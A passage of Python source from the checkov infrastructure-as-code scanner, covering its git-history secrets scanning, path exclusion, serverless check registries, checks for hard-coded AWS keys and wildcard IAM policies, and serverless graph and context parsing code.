{previous_commit_idx}") return [] except Exception as err: logging.warning(f"got error while getting commits diff, iteration: {previous_commit_idx}, error: {err}") continue logging.info("[_get_commits_diff] ended") return commits_diff def _run_scan_parallel(self, commits_diff: List[Commit]) -> None: results = parallel_runner.run_function(GitHistoryScanner._run_scan_one_bulk, commits_diff) for result in results: if result: self.raw_store.extend(result) @staticmethod def _run_scan_one_bulk(commits_diff: List[Commit] | Commit) -> List[RawStore]: scanned_file_count = 0 results: List[RawStore] = [] # parallel runner can make the list flat, so I can get here dict instead of list if isinstance(commits_diff, Commit): results, scanned_file_count = GitHistoryScanner._run_scan_one_commit(commits_diff) elif isinstance(commits_diff, list): for commit in commits_diff: cur_results, curr_count = GitHistoryScanner._run_scan_one_commit(commit) scanned_file_count += curr_count results.extend(cur_results) logging.debug(f"Scanned {scanned_file_count} git history files") return results @staticmethod def _run_scan_one_commit(commit: Commit) -> Tuple[List[RawStore], int]: results: List[RawStore] = [] scanned_file_count = 0 commit_hash = commit.metadata.commit_hash for file_name, file_diff in commit.files.items(): if len(file_diff) == 0: continue file_results = [*scan.scan_diff(file_diff, commit_hash)] if file_results: logging.debug( f"Found {len(file_results)} secrets in file path {file_name} in commit {commit_hash}") results.append(RawStore(file_results=file_results, file_name=file_name, commit=commit, type=FILE_RESULTS_STR, rename_from='', rename_to='')) for _, details in commit.renamed_files.items(): rename_from = details['rename_from'] rename_to = details['rename_to'] results.append(RawStore(file_results=[], file_name='', commit=commit, type=RENAME_STR, rename_from=rename_from, rename_to=rename_to)) scanned_file_count += 1 return results, scanned_file_count @time_it def get_first_commit(repo: Repo, root_folder: str) -> Commit: first_commit_sha = repo.git.log('--format=%H', '--max-parents=0', 'HEAD').split()[0] first_commit = repo.commit(first_commit_sha) empty_tree_sha = bytes.fromhex(hashlib.sha1(b'tree 0\0').hexdigest()) # nosec empty_tree = Tree(repo, empty_tree_sha) git_diff = empty_tree.diff(first_commit, create_patch=True) first_commit_diff: Commit = Commit( metadata=CommitMetadata( commit_hash=first_commit.hexsha, committer=first_commit.committer.name or '', committed_datetime=first_commit.committed_datetime.isoformat() ) ) for file_diff in git_diff: file_name: str = file_diff.b_path # type:ignore if file_name.endswith(FILES_TO_IGNORE_IN_GIT_HISTORY): continue file_path = os.path.join(root_folder, file_name) base_diff_format = f"--- ''\n+++ {file_path}\n" full_diff_format = base_diff_format + get_decoded_diff(file_diff.diff) first_commit_diff.add_file(filename=file_path, commit_diff=full_diff_format) return first_commit_diff def get_decoded_diff(diff: Union[str, bytes, None]) -> str: if diff is None: return '' if isinstance(diff, str): return diff try: decoded_diff = diff.decode('utf-8') except UnicodeDecodeError as ue: logging.debug(f'failed decoding file diff, {ue}') decoded_diff = diff.decode('utf-8', errors='ignore') return decoded_diff ================================================ FILE: checkov/secrets/utils.py ================================================ from __future__ import annotations import os import re from collections.abc import Iterable from checkov.common.runners.base_runner import ignored_directories, safe_remove from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR EXCLUDED_PATHS = [*ignored_directories, DEFAULT_EXTERNAL_MODULES_DIR, ".idea", ".git", "venv"] def filter_excluded_paths( root_dir: str, names: list[str] | list[os.DirEntry[str]], excluded_paths: Iterable[str] | None, ) -> None: """Special build of checkov.common.runners.base_runner.filter_ignored_paths for Secrets scanning""" # support for the --skip-path flag if excluded_paths: compiled = [] for p in excluded_paths: try: compiled.append(re.compile(p.replace(".terraform", r"\.terraform"))) except re.error: # do not add compiled paths that aren't regexes continue for entry in list(names): path = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry) full_path = os.path.join(root_dir, path) if any(pattern.search(full_path) for pattern in compiled) or any(p in full_path for p in excluded_paths): safe_remove(names, entry) # support for our own excluded paths list for entry in list(names): path = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry) if path in EXCLUDED_PATHS: safe_remove(names, entry) ================================================ FILE: checkov/serverless/__init__.py ================================================ from checkov.serverless.checks.function import * # noqa ================================================ FILE: checkov/serverless/base_registry.py ================================================ from __future__ import annotations from dataclasses import dataclass from typing import Any, TYPE_CHECKING from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.typing import _SkippedCheck, _CheckResult from checkov.runner_filter import RunnerFilter @dataclass class EntityDetails: provider_type: str | None data: dict[str, Any] class ServerlessRegistry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(CheckType.SERVERLESS) def extract_entity_details(self, entity: EntityDetails) -> tuple[str, dict[str, Any]]: # type:ignore[override] return f"serverless_{entity.provider_type}", entity.data def scan( # type:ignore[override] self, scanned_file: str, entity: EntityDetails, skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter ) -> dict[BaseCheck, _CheckResult]: entity_type, entity_configuration = self.extract_entity_details(entity) results = {} checks = self.get_checks(entity_type) for check in checks: skip_info: _SkippedCheck = {} if skipped_checks: if check.id in [x["id"] for x in skipped_checks]: skip_info = [x for x in skipped_checks if x["id"] == check.id][0] if runner_filter.should_run_check(check, report_type=CheckType.SERVERLESS): self.logger.debug(f"Running check: {check.name} on file {scanned_file}") result = check.run( scanned_file=scanned_file, entity_configuration=entity_configuration, entity_name=entity_type, entity_type=entity_type, skip_info=skip_info, ) results[check] = result return results ================================================ FILE: checkov/serverless/checks/__init__.py ================================================ from checkov.serverless.checks.complete import * # noqa from checkov.serverless.checks.custom import * # noqa from checkov.serverless.checks.function import * # noqa from checkov.serverless.checks.layer import * # noqa from checkov.serverless.checks.package import * # noqa from checkov.serverless.checks.provider import * # noqa from checkov.serverless.checks.service import * # noqa ================================================ FILE: checkov/serverless/checks/base_function_check.py ================================================ # NOTE: Leaving this around for backwards compatibility. Usage of the checks/function/base_function_check.py # version is preferred # noinspection PyUnresolvedReferences from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck # noqa ================================================ FILE: checkov/serverless/checks/complete/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/complete/base_complete_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.complete.registry import complete_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseCompleteCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) complete_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_complete_conf(conf) @abstractmethod def scan_complete_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/complete/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry complete_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/custom/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/custom/base_custom_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any, TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.custom.registry import custom_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseCustomCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) custom_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_custom_conf(conf) @abstractmethod def scan_custom_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/custom/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry custom_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/function/__init__.py ================================================ from checkov.serverless.checks.function.aws import * # noqa ================================================ FILE: checkov/serverless/checks/function/aws/AWSCredentials.py ================================================ from __future__ import annotations import re from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck from checkov.common.models.consts import access_key_pattern, secret_key_pattern from checkov.serverless.parsers.parser import ENVIRONMENT_TOKEN class AWSCredentials(BaseFunctionCheck): def __init__(self) -> None: name = "Ensure no hard coded AWS access key and secret key exists in provider" id = "CKV_AWS_41" supported_entities = ('serverless_aws',) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities) def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult: """ see: https://www.terraform.io/docs/providers/aws/index.html#static-credentials """ result = CheckResult.PASSED if conf.get(ENVIRONMENT_TOKEN) and isinstance(conf[ENVIRONMENT_TOKEN], dict): env_variables_strings = {key: value for key, value in conf.get(ENVIRONMENT_TOKEN, {}).items() if isinstance(value, str)} for idx, env_var_value in enumerate(env_variables_strings.values()): if any([re.match(access_key_pattern, env_var_value), re.match(secret_key_pattern, env_var_value)]): conf[f'{self.id}_secret_{idx}'] = env_var_value result = CheckResult.FAILED return result check = AWSCredentials() ================================================ FILE: checkov/serverless/checks/function/aws/AdminPolicyDocument.py ================================================ from __future__ import annotations from typing import Any from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.serverless.parsers.parser import IAM_ROLE_STATEMENTS_TOKEN class AdminPolicyDocument(BaseFunctionCheck): def __init__(self) -> None: name = "Ensure IAM policies that allow full \"*-*\" administrative privileges are not created" id = "CKV_AWS_1" supported_entities = ('serverless_aws',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities) def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult: """ validates iam policy document https://learn.hashicorp.com/terraform/aws/iam-policy :param conf: aws_kms_key configuration :return: """ statements = conf.get(IAM_ROLE_STATEMENTS_TOKEN) if statements and isinstance(statements, list): for statement in statements: if 'Action' in statement and statement.get('Effect') == 'Allow' and '*' in statement['Action'] \ and '*' in statement['Resource']: return CheckResult.FAILED return CheckResult.PASSED check = AdminPolicyDocument() ================================================ FILE: checkov/serverless/checks/function/aws/StarActionPolicyDocument.py ================================================ from __future__ import annotations from typing import Any from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.serverless.parsers.parser import IAM_ROLE_STATEMENTS_TOKEN class StarActionPolicyDocument(BaseFunctionCheck): def __init__(self) -> None: name = "Ensure no IAM policies documents allow \"*\" as a statement's actions" id = "CKV_AWS_49" supported_entities = ('serverless_aws',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities) def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult: """ validates iam policy document https://learn.hashicorp.com/terraform/aws/iam-policy :param conf: aws_kms_key configuration :return: """ key = IAM_ROLE_STATEMENTS_TOKEN statements = conf.get(key) if not statements: return CheckResult.PASSED for statement in statements: if not isinstance(statement, dict): return CheckResult.UNKNOWN if 'Action' in statement and '*' in statement['Action'] and statement.get('Effect') == 'Allow': return CheckResult.FAILED return CheckResult.PASSED check = StarActionPolicyDocument() ================================================ FILE: checkov/serverless/checks/function/aws/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/serverless/checks/function/base_function_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.function.registry import function_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseFunctionCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) function_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: self.entity_type = entity_type return self.scan_function_conf(conf) @abstractmethod def scan_function_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/function/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry function_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/layer/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/layer/base_layer_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.layer.registry import layer_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseLayerCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) layer_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_layer_conf(conf) @abstractmethod def scan_layer_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/layer/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry layer_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/package/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/package/base_package_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import TYPE_CHECKING, Iterable, Any from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.package.registry import package_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BasePackageCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) package_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_package_conf(conf) @abstractmethod def scan_package_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/package/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry package_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/plugin/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/plugin/base_plugin_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Iterable, Any, TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.plugin.registry import plugin_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BasePluginCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) plugin_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_plugin_list(conf) @abstractmethod def scan_plugin_list(self, plugin_list: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/plugin/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry plugin_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/provider/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/provider/base_provider_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any, TYPE_CHECKING, Iterable from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.provider.registry import provider_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseProviderCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) provider_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_provider_conf(conf) @abstractmethod def scan_provider_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/provider/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry provider_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/checks/service/__init__.py ================================================ ================================================ FILE: checkov/serverless/checks/service/base_service_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.serverless.checks.service.registry import service_registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseServiceCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="serverless", guideline=guideline, ) service_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: return self.scan_service_conf(conf) @abstractmethod def scan_service_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/serverless/checks/service/registry.py ================================================ from checkov.serverless.base_registry import ServerlessRegistry service_registry = ServerlessRegistry() ================================================ FILE: checkov/serverless/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/serverless/graph_builder/definition_context.py ================================================ from __future__ import annotations from typing import cast, Any from checkov.common.parsers.node import StrNode, ListNode from checkov.common.util.consts import START_LINE, END_LINE, LINE_FIELD_NAMES from checkov.common.util.suppression import collect_suppressions_for_report from checkov.serverless.utils import ServerlessElements def build_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]] ) -> dict[str, dict[str, Any]]: definitions_context: dict[str, dict[str, Any]] = {} for file_path, file_definitions in definitions.items(): definitions_context[file_path] = {} for definition_attribute, definition_value in file_definitions.items(): if definition_attribute not in [str(e) for e in ServerlessElements]: continue definitions_context[file_path][definition_attribute] = {} if isinstance(definition_value, dict): for resource_key, resource_attributes in definition_value.items(): add_resource_to_definitions_context(definitions_context, resource_key, resource_attributes, definition_attribute, definitions_raw, file_path) elif isinstance(definition_value, list): for resource in definition_value: add_resource_to_definitions_context(definitions_context, '', resource, definition_attribute, definitions_raw, file_path) elif isinstance(definition_value, StrNode): add_resource_to_definitions_context(definitions_context, definition_attribute, definition_value, definition_attribute, definitions_raw, file_path) return definitions_context def add_resource_to_definitions_context(definitions_context: dict[str, dict[str, Any]], resource_key: str, resource_attributes: dict[str, Any] | ListNode | StrNode, definition_attribute: str, definitions_raw: dict[str, Any], file_path: str) -> None: if resource_key in LINE_FIELD_NAMES: return if resource_attributes: if isinstance(resource_attributes, dict) and START_LINE in resource_attributes and END_LINE in resource_attributes: start_line = resource_attributes[START_LINE] - 1 end_line = resource_attributes[END_LINE] - 1 elif isinstance(resource_attributes, ListNode): start_line = resource_attributes.start_mark.line end_line = resource_attributes.end_mark.line elif isinstance(resource_attributes, StrNode): start_line = resource_attributes.start_mark.line + 1 end_line = resource_attributes.end_mark.line + 1 else: return else: return definition_resource = {"start_line": start_line, "end_line": end_line} if resource_key is None and isinstance(resource_attributes, dict): resource_key = f"{resource_attributes.get('type')}.{resource_attributes.get('name')}" int_start_line = cast(int, definition_resource["start_line"]) int_end_line = cast(int, definition_resource["end_line"]) code_lines_for_suppressions_check = definitions_raw[file_path][int_start_line: int_end_line] definition_resource['skipped_checks'] = collect_suppressions_for_report( code_lines=code_lines_for_suppressions_check) if isinstance(resource_attributes, dict) and 'type' in resource_attributes: definition_resource["type"] = resource_attributes.get('type') definition_resource["code_lines"] = definitions_raw[file_path][start_line - 1: end_line] definitions_context[file_path][definition_attribute][resource_key] = definition_resource ================================================ FILE: checkov/serverless/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/serverless/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations from typing import Any from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_builder.graph_components.blocks import Block class ServerlessBlock(Block): def __init__( self, name: str, config: dict[str, Any], path: str, block_type: str, attributes: dict[str, Any], id: str = "", ) -> None: super().__init__(name, config, path, block_type, attributes, id, GraphSource.SERVERLESS) ================================================ FILE: checkov/serverless/graph_builder/graph_to_definitions.py ================================================ from __future__ import annotations import os from pathlib import Path from typing import Any, TYPE_CHECKING from checkov.serverless.utils import ServerlessElements if TYPE_CHECKING: from checkov.serverless.graph_builder.graph_components.blocks import ServerlessBlock def convert_graph_vertices_to_definitions(vertices: list[ServerlessBlock], root_folder: str | Path | None) \ -> tuple[dict[str, dict[str, Any]], dict[str, dict[str, Any]]]: serverless_definitions: dict[str, dict[str, Any]] = {} breadcrumbs: dict[str, dict[str, Any]] = {} for vertex in vertices: block_path = vertex.path element_name = vertex.name.split('.')[-1] # Plugins section is formatted as a list if vertex.block_type == ServerlessElements.PLUGINS: serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, []).append(element_name) # If there is a key named 'value' in the config it means that # this vertex's config contains only a single string elif 'value' in vertex.config: # If the vertex is provider or service and it only contains a string the section should look like: # provider: # service: if element_name == ServerlessElements.PROVIDER or element_name == ServerlessElements.SERVICE: serverless_definitions.setdefault(block_path, {})[vertex.block_type] = vertex.config['value'] # Otherwise it's a vertex of a specific nested attribute and need to include the full path # Examples: # provider: # runtime: nodejs20.x # custom: # myCustomVar: value else: serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[element_name] = \ vertex.config['value'] # Otherwise, the vertex config is a dict else: serverless_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[ element_name] = vertex.config if vertex.breadcrumbs: relative_block_path = f"/{os.path.relpath(block_path, root_folder)}" add_breadcrumbs(vertex, breadcrumbs, relative_block_path) return serverless_definitions, breadcrumbs def add_breadcrumbs(vertex: ServerlessBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None: breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs ================================================ FILE: checkov/serverless/graph_builder/local_graph.py ================================================ from __future__ import annotations from typing import Any from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.local_graph import LocalGraph, _Block from checkov.common.util.consts import LINE_FIELD_NAMES from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.serverless.graph_builder.graph_components.blocks import ServerlessBlock from checkov.serverless.utils import ServerlessElements class ServerlessLocalGraph(LocalGraph[ServerlessBlock]): def __init__(self, definitions: dict[str, dict[str, Any]]) -> None: super().__init__() self.vertices: list[ServerlessBlock] = [] self.definitions = definitions self.vertices_by_path_and_name: dict[tuple[str, str], int] = {} def build_graph(self, render_variables: bool = True) -> None: self._create_vertices() def _create_vertices(self) -> None: for file_path, definition in self.definitions.items(): self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.FUNCTIONS) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PARAMS) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PROVIDER) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.LAYERS) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.CUSTOM) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PACKAGE) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.PLUGINS) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.SERVICE) self._create_vertex(file_path=file_path, definition=definition, element_type=ServerlessElements.RESOURCES) for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i self.in_edges[i] = [] self.out_edges[i] = [] def _create_vertex(self, file_path: str, definition: dict[str, Any] | None, element_type: ServerlessElements) -> None: if not definition: return resources = definition.get(element_type) # resources -> Resources if element_type == ServerlessElements.RESOURCES and resources is None: resources = definition.get('Resources') if isinstance(resources, list) and len(resources) > 0 and \ isinstance(resources[0], dict) and resources[0]['__file__'] != file_path: for r in resources: if isinstance(r, dict): self._create_vertex(file_path, {element_type: r}, element_type) return if not resources: return elif isinstance(resources, str): self.vertices.append(ServerlessBlock( name=f'{element_type}', config={"value": pickle_deepcopy(resources)}, path=file_path, block_type=element_type, attributes={"value": pickle_deepcopy(resources)}, id=f"{file_path}:{element_type}" )) else: for attribute in resources: if isinstance(attribute, str) and attribute in LINE_FIELD_NAMES: continue if isinstance(resources, list): full_conf = {"value": pickle_deepcopy(attribute)} self.vertices.append(ServerlessBlock( name=f'{element_type}.{attribute}', config=full_conf, path=file_path, block_type=element_type, attributes=full_conf, id=f"{file_path}:{element_type}.{attribute}" )) else: attribute_value = resources[attribute] if not isinstance(attribute_value, dict): full_conf = {"value": pickle_deepcopy(attribute_value)} else: full_conf = attribute_value config = pickle_deepcopy(full_conf) resource_type = element_type attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = resource_type self.vertices.append(ServerlessBlock( name=f'{resource_type}.{attribute}', config=config, path=file_path, block_type=resource_type, attributes=attributes, id=f"{file_path}:{resource_type}.{attribute}" )) def get_resources_types_in_graph(self) -> list[str]: # not used return [] @staticmethod def update_vertex_config(vertex: _Block, changed_attributes: list[str] | dict[str, Any], has_dynamic_blocks: bool = False) -> None: pass def update_vertices_configs(self) -> None: pass ================================================ FILE: checkov/serverless/graph_manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any, Optional from checkov.serverless.graph_builder.local_graph import ServerlessLocalGraph from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager from checkov.serverless.utils import get_scannable_file_paths, get_files_definitions if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector class ServerlessGraphManager(GraphManager[ServerlessLocalGraph, "dict[str, dict[str, Any]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.SERVERLESS) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[ServerlessLocalGraph] = ServerlessLocalGraph, render_variables: bool = False, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[ServerlessLocalGraph, dict[str, dict[str, Any]]]: file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths) definitions, _ = get_files_definitions(files=file_paths) local_graph = self.build_graph_from_definitions(definitions=definitions) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[str, dict[str, Any]], render_variables: bool = True ) -> ServerlessLocalGraph: local_graph = ServerlessLocalGraph(definitions=definitions) local_graph.build_graph(render_variables=render_variables) return local_graph ================================================ FILE: checkov/serverless/parsers/__init__.py ================================================ ================================================ FILE: checkov/serverless/parsers/context_parser.py ================================================ from __future__ import annotations from pathlib import Path from typing import Any from checkov.serverless.parsers.parser import FUNCTIONS_TOKEN, PROVIDER_TOKEN, IAM_ROLE_STATEMENTS_TOKEN, \ ENVIRONMENT_TOKEN, STACK_TAGS_TOKEN, TAGS_TOKEN from checkov.cloudformation.context_parser import ContextParser as CfnContextParser, STARTLINE, ENDLINE from checkov.common.util.file_utils import read_file_with_any_encoding class ContextParser(object): """ serverless functions template context parser """ # control on inherited provider attributes to scanned functions # Values are the source and destination ENRICHED_ATTRIBUTES = [ (IAM_ROLE_STATEMENTS_TOKEN, IAM_ROLE_STATEMENTS_TOKEN), (ENVIRONMENT_TOKEN, ENVIRONMENT_TOKEN), (STACK_TAGS_TOKEN, TAGS_TOKEN), ("runtime", "runtime"), ("timeout", "timeout"), ("memorySize", "memorySize") ] def __init__(self, sls_file: str, sls_template: dict[str, Any], sls_template_lines: list[tuple[int, str]]) -> None: self.sls_file = sls_file self.sls_template = sls_template self.sls_template_lines = sls_template_lines self.provider_conf = sls_template.get(PROVIDER_TOKEN) self.functions_conf = sls_template.get(FUNCTIONS_TOKEN) or {} self.provider_type = self._infer_provider_type() def file(self, content: dict[str, Any]) -> str: if isinstance(content, dict): return str(content.get('__file__', self.sls_file)) return self.sls_file def extract_code_lines( self, content: dict[str, Any] ) -> tuple[list[int], list[tuple[int, str]]] | tuple[None, None]: find_lines_result_list = list(CfnContextParser.find_lines(content, STARTLINE)) if len(find_lines_result_list) >= 1: start_line = min(find_lines_result_list) - 1 end_line = max(list(CfnContextParser.find_lines(content, ENDLINE))) entity_lines_range = [start_line, end_line - 1] fname = self.file(content) lines = self.sls_template_lines if fname != self.sls_file: lines = [] text = read_file_with_any_encoding(Path(self.sls_file).parent / fname) for i, ln in enumerate(text.splitlines(True)): lines.append((i + 1, ln)) entity_code_lines = lines[start_line - 1: end_line - 1] return entity_lines_range, entity_code_lines return None, None def enrich_function_with_provider(self, sls_function_name: str) -> None: """ Update inplace a function's template with pre-defined inherited provider attributes :param sls_function_name: scanned function :return: None """ if not self.provider_conf or not isinstance(self.provider_conf, dict): return for src_attribute, dst_enriched_attribute in self.ENRICHED_ATTRIBUTES: provider_attribute = self.provider_conf.get(src_attribute) if not provider_attribute: continue template_function = self.functions_conf.get(sls_function_name) if not template_function: continue function_attribute = template_function.get(dst_enriched_attribute) if function_attribute: if not isinstance(function_attribute, type(provider_attribute)): # Do not enrich maps with strings etc continue if isinstance(template_function[dst_enriched_attribute], list): template_function[dst_enriched_attribute].extend(provider_attribute) if isinstance(template_function[dst_enriched_attribute], dict): template_function[dst_enriched_attribute].update(provider_attribute) else: template_function[dst_enriched_attribute] = provider_attribute def _infer_provider_type(self) -> str | None: if 